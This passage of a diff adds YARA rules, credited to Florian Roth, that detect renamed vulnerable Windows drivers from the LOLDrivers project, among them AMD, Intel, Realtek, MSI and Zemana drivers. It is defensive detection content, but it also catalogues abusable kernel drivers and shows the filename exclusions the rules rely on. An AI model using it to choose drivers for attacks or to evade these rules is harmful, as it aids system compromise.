+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002c00200030002c00200030002c00200030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00410044005600360034004400520056002e007300790073 } /* InternalName ADVDRVsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d006900630072006f0073006f006600740052002000570069006e0064006f0077007300520020004f007000650072006100740069006e0067002000530079007300740065006d } /* ProductName MicrosoftRWindowsROperatingSystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00410044005600360034004400520056002e007300790073 } /* OriginalFilename ADVDRVsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002800430029002000460055004a00490054005300550020004c0049004d004900540045004400200032003000300035 } /* LegalCopyright CopyrightCFUJITSULIMITED */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /ADV64DRV/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Advancedmicrodevices_Amdryzenmasterdriversys_Amdryzenmasterservicedriver_FF96 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDRyzenMasterDriver.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "ff9623317287358440ec67da9ba79994d9b17b99ffdd709ec836478fe1fc22a5"
+		date = "2023-06-14"
+		score = 70
+		id = "d857b678-5cd6-5784-b9ae-b5171c811a9d"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 } /* FileDescription AMDRyzenMasterServiceDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073 } /* CompanyName AdvancedMicroDevices */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0034002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0034002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 } /* InternalName AMDRyzenMasterDriversys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d0044002000520079007a0065006e0020004d00610073007400650072002000530065007200760069006300650020004400720069007600650072 } /* ProductName AMDRyzenMasterServiceDriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d004400520079007a0065006e004d00610073007400650072004400720069007600650072002e007300790073 } /* OriginalFilename AMDRyzenMasterDriversys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020003200300031003900200041004d0044002c00200049006e0063002e } /* LegalCopyright CopyrightAMDInc */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /AMDRyzenMasterDriver/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Sysinternalswwwsysinternalscom_Procexpsys_7795 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "77950e2a40ac0447ae7ee1ee3ef1242ce22796a157074e6f04e345b1956e143c"
+		date = "2023-06-14"
+		score = 70
+		id = "dce72757-4557-559c-89d3-3c526628ccbd"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0020002000200020002000200020002000200020002000200020002000200020 } /* FileDescription  */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d } /* CompanyName Sysinternalswwwsysinternalscom */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310035002e00300030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310035002e00300030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 } /* InternalName procexpsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0020002000200020002000200020002000200020002000200020002000200020 } /* ProductName  */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 } /* OriginalFilename procexpSys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d00610072006b002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000310034 } /* LegalCopyright CopyrightCMarkRussinovich */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /procexp/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Sisoftware_Sandra_Sisoftwaresandra_B019 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - SANDRA"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "b019ebd77ac19cdd72bba3318032752649bd56a7576723a8ae1cccd70ee1e61a"
+		date = "2023-06-14"
+		score = 70
+		id = "a83e9bdc-24f4-54a1-aad9-80e84b9e3502"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00530061006e006400720061002000440065007600690063006500200044007200690076006500720020002800570069006e003300320020007800380036002900280055006e00690063006f006400650029 } /* FileDescription SandraDeviceDriverWinxUnicode */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005300690053006f006600740077006100720065 } /* CompanyName SiSoftware */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310030002e0037002e0031002e00310020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310030002e0037002e0031002e0031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00530041004e004400520041 } /* InternalName SANDRA */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005300690053006f006600740077006100720065002000530061006e006400720061 } /* ProductName SiSoftwareSandra */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00530041004e004400520041 } /* OriginalFilename SANDRA */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a90020005300690053006f0066007400770061007200650020004c0074006400200031003900390035002d0032003000300037002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightSiSoftwareLtdAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /SANDRA/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Advancedmicrodevicesinc_Amdpowerprofilersys_Amduprof_0AF5 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - AMDPowerProfiler.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "0af5ccb3d33a9ba92071c9637be6254030d61998733a5eb3583e865e17844e05"
+		date = "2023-06-14"
+		score = 70
+		id = "7c820b70-f985-596b-8426-05035c0bfafc"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041004d004400200050006f007700650072002000500072006f00660069006c0069006e00670020004400720069007600650072 } /* FileDescription AMDPowerProfilingDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0041006400760061006e0063006500640020004d006900630072006f00200044006500760069006300650073002c00200049006e0063002e } /* CompanyName AdvancedMicroDevicesInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e0031002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0034002e003400390033002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0041004d00440050006f00770065007200500072006f00660069006c00650072002e007300790073 } /* InternalName AMDPowerProfilersys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0041004d00440020007500500072006f0066 } /* ProductName AMDuProf */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0041004d00440050006f00770065007200500072006f00660069006c00650072002e007300790073 } /* OriginalFilename AMDPowerProfilersys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00a90020003200300032003100200041004d004400200049006e0063002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright AMDIncAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /AMDPowerProfiler/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Realtek_Rtkiosys_Realtekiodriver_074A {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkio64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "074ae477c8c7ae76c6f2b0bf77ac17935a8e8ee51b52155d2821d93ab30f3761"
+		date = "2023-06-14"
+		score = 70
+		id = "9f1349f3-a816-5209-bf11-d84dfa035169"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f0020004400720069007600650072 } /* FileDescription RealtekIODriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200650061006c00740065006b00200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 } /* CompanyName Realtek */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000300036002e0030003100310038002e00320030003100370020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e003000300036002e0030003100310038002e0032003000310037 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f00360034002e0073007900730020 } /* InternalName rtkiosys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200650061006c00740065006b00200049004f00200044007200690076006500720020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 } /* ProductName RealtekIODriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f00360034002e0073007900730020 } /* OriginalFilename rtkiosys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100370020005200650061006c00740065006b002000530065006d00690063006f006e0064007500630074006f007200200043006f00720070006f0072006100740069006f006e002e00200041006c006c002000520069006700680074002000520065007300650072007600650064002e002000200020002000200020002000200020002000200020 } /* LegalCopyright CopyrightCRealtekSemiconductorCorporationAllRightReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /rtkio64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Msi_Ntiolibsys_Ntiolib_98B7 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "98b734dda78c16ebcaa4afeb31007926542b63b2f163b2f733fa0d00dbb344d8"
+		date = "2023-06-14"
+		score = 70
+		id = "7fc1fa6a-9c53-51b8-8c41-cdffe6baa132"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200066006f0072002000440065006200750067004c00450044 } /* FileDescription NTIOLibforDebugLED */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 } /* CompanyName MSI */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* InternalName NTIOLibsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 } /* ProductName NTIOLib */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* OriginalFilename NTIOLibsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100330020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCMSIAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /NTIOLib/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Zemanaltd_Zam_9A95 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "9a95a70f68144980f2d684e96c79bdc93ebca1587f46afae6962478631e85d0c"
+		date = "2023-06-14"
+		score = 70
+		id = "96f9b580-772e-5b98-ad82-06fcd246a980"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d } /* FileDescription ZAM */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e } /* CompanyName ZemanaLtd */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00310036002e003200380037 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d } /* ProductName ZAM */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright ZemanaLtdAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /zam64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_19BF {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "19bf0d0f55d2ad33ef2d105520bde8fb4286f00e9d7a721e3c9587b9408a0775"
+		date = "2023-06-14"
+		score = 70
+		id = "200441c8-14b2-5c30-afe7-2b1a0a979827"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 } /* FileDescription IntelRNetworkAdapterDiagnosticDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 } /* CompanyName IntelCorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300033002e0030002e00340020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300033002e0030002e0034 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* InternalName iQVWSYS */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 } /* ProductName IntelRiQVWSYS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* OriginalFilename iQVWSYS */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003100200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CopyrightCIntelCorporationAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /iQVW64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Zemanaltd_Zam_2BBC {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "2bbc6b9dd5e6d0327250b32305be20c89b19b56d33a096522ee33f22d8c82ff1"
+		date = "2023-06-14"
+		score = 70
+		id = "0c7fa8ed-1c1b-524a-b81d-62c145832fd9"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d } /* FileDescription ZAM */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e } /* CompanyName ZemanaLtd */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00310038002e003300370031 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d } /* ProductName ZAM */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright ZemanaLtdAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them and not filename matches /zam64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Logitechinc_Lvavsys_Logitechwebcamsoftware_E86C {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Lv561av.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "e86cb77de7b6a8025f9a546f6c45d135f471e664963cf70b381bee2dfd0fdef4"
+		date = "2023-06-14"
+		score = 70
+		id = "599205df-343a-5d3d-9894-c1d1f67e8805"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c006f00670069007400650063006800200056006900640065006f0020004400720069007600650072 } /* FileDescription LogitechVideoDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004c006f00670069007400650063006800200049006e0063002e } /* CompanyName LogitechInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310032002e00300030002e0031003200370038002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310032002e00300030002e0031003200370038002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004c007600350036003100610076002e007300790073 } /* InternalName Lvavsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004c006f006700690074006500630068002000570065006200630061006d00200053006f006600740077006100720065 } /* ProductName LogitechWebcamSoftware */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004c007600350036003100610076002e007300790073 } /* OriginalFilename Lvavsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280063002900200031003900390036002d00320030003000390020004c006f006700690074006500630068002e002000200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright cLogitechAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 600KB and all of them and not filename matches /Lv561av/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Hpinc_Hpportioxsys_Hpportio_C505 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HpPortIox64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "c5050a2017490fff7aa53c73755982b339ddb0fd7cef2cde32c81bc9834331c5"
+		date = "2023-06-14"
+		score = 70
+		id = "668c02d0-dabf-598f-8c90-5d6f0e3399e2"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004800700050006f007200740049006f } /* FileDescription HpPortIo */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0048005000200049006e0063002e } /* CompanyName HPInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e0039 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e0039 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004800700050006f007200740049006f007800360034002e007300790073 } /* InternalName HpPortIoxsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004800700050006f007200740049006f } /* ProductName HpPortIo */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004800700050006f007200740049006f007800360034002e007300790073 } /* OriginalFilename HpPortIoxsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002d003200300032003100200048005000200049006e0063002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCHPIncAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /HpPortIox64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Realtek_Rtkiowxsys_Realtekiodriver_AB8F {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkio64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "ab8f2217e59319b88080e052782e559a706fa4fb7b8b708f709ff3617124da89"
+		date = "2023-06-14"
+		score = 70
+		id = "f8eac5b8-e6b4-5749-aa2a-a5e7feefd389"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f0020004400720069007600650072 } /* FileDescription RealtekIODriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200650061006c00740065006b00200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 } /* CompanyName Realtek */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000300039002e0030003700300039002e0032003000320030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e003000300039002e0030003700300039002e0032003000320030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f007700310030007800360034002e0073007900730020 } /* InternalName rtkiowxsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200650061006c00740065006b00200049004f00200044007200690076006500720020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 } /* ProductName RealtekIODriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f007700310030007800360034002e0073007900730020 } /* OriginalFilename rtkiowxsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003200300020005200650061006c00740065006b002000530065006d00690063006f006e0064007500630074006f007200200043006f00720070006f0072006100740069006f006e002e00200041006c006c002000520069006700680074002000520065007300650072007600650064002e002000200020002000200020002000200020002000200020 } /* LegalCopyright CopyrightCRealtekSemiconductorCorporationAllRightReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /rtkio64/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Avgtechnologiesczsro_Aswarpot_Avginternetsecuritysystem_2CE8 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "2ce81759bfa236913bbbb9b2cbc093140b099486fd002910b18e2c6e31fdc4f1"
+		date = "2023-06-14"
+		score = 70
+		id = "fe86a574-2863-59d4-8021-d1a16d3f8cb2"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200041006e0074006900200052006f006f0074006b00690074 } /* FileDescription AVGAntiRootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e00310030002e003100370031002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e00310030002e003100370031002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 } /* InternalName aswArPot */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them and not filename matches /aswArPot/i and not filename matches /avgArPot/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Msi_Ntiolibsys_Ntiolib_9254 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "9254f012009d55f555418ff85f7d93b184ab7cb0e37aecdfdab62cfe94dea96b"
+		date = "2023-06-14"
+		score = 70
+		id = "cc1da8e7-b6ef-5580-93f3-d1d0ce2ddac7"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200066006f00720020004d00530049004400440052005f00430043 } /* FileDescription NTIOLibforMSIDDRCC */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 } /* CompanyName MSI */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* InternalName NTIOLibsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 } /* ProductName NTIOLib */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* OriginalFilename NTIOLibsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002d00320030003000390020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCMSIAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /NTIOLib/i
+}
+
+
+rule PUA_VULN_Renamed_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_4429 {
+	meta:
+		description = "Detects renamed vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NalDrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "4429f32db1cc70567919d7d47b844a91cf1329a6cd116f582305f3b7b60cd60b"
+		hash = "a59c40e7470b7003e8adfee37c77606663e78d7e3f2ebb8d60910af19924d8df"
+		date = "2023-06-14"
+		score = 70
+		id = "940ec295-fcb3-58ed-94fc-41d27943ff0e"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 } /* FileDescription IntelRNetworkAdapterDiagnosticDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 } /* CompanyName IntelCorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300033002e0030002e00370020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300033002e0030002e0037 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* InternalName iQVWSYS */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 } /* ProductName IntelRiQVWSYS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* OriginalFilename iQVWSYS */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003300200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CopyrightCIntelCorporationAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them and not filename matches /NalDrv/i
+}
+
+
